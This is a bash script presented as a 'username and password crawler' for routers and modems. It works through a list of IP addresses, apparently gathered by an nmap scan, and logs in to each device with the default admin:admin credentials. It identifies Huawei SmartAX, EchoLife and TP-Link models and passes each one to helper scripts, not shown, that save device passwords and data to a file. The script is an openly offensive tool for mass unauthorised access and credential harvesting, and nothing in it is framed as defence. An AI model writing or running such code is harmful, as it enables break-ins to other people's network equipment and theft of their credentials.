Routers, modems username and password crawler [BODY]

#!/bin/bash
# NOTE! Look for templates for this script in my pastebin @ pastebin.com/u/sxiii
# you can prepare target list by using nmap with -p80 option, and after make it uniq
# result will be in uniqips.txt file, you can run this script and input the name uniqips.txt when it will be requested

savefile=passwords.txt
username=admin
password=admin
x=0

echo "This script crawls on gateway, modems, routers etc. using standard passwords and saves all valuable data from them."
echo "By default script uses admin:admin combination to connect to hosts. You can change it in targetscan file."
echo "Currently supported models: Huawei SmartAX MT880; TP-Link; EchoLife."
echo "NOTE: All found passwords are saved in passwords.txt file in current directory!"
echo "Please type-in the name of plain-text file containing IP addresses of gateway devices to gather data from..."

read name

total=`cat $name | grep -c ""`

cat $name | while read target;
do
x=$((x+1))
echo "Trying to recognize target $target... ($x/$total)"
#echo $target >> processed.txt
wget -q -t 1 -T 3 -O index.html http://$target/ --user=admin --password=admin

if [[ "`cat index.html | grep -c "SmartAX"`" -gt "0" ]]; then
bash smartax $target $savefile $username $password
echo "Processing target $target (SmartAX)..."
echo "Processing target $target (SmartAX)..." >> processed.txt
fi

if [[ "`cat index.html | grep -c "rpSysStatus.html"`" -gt "0" ]]; then
bash echolife $target $savefile $username $password
echo "Processing target $target (EchoLife)..."
echo "Processing target $target (EchoLife)..." >> processed.txt
fi

if [[ "`cat index.html | grep -c "status/status_deviceinfo.htm"`" -gt "0" ]]; then
bash tplink $target $savefile $username $password
echo "Processing target $target (TP-Link)..."
echo "Processing target $target (TP-Link)..." >> processed.txt
fi

rm index.html

done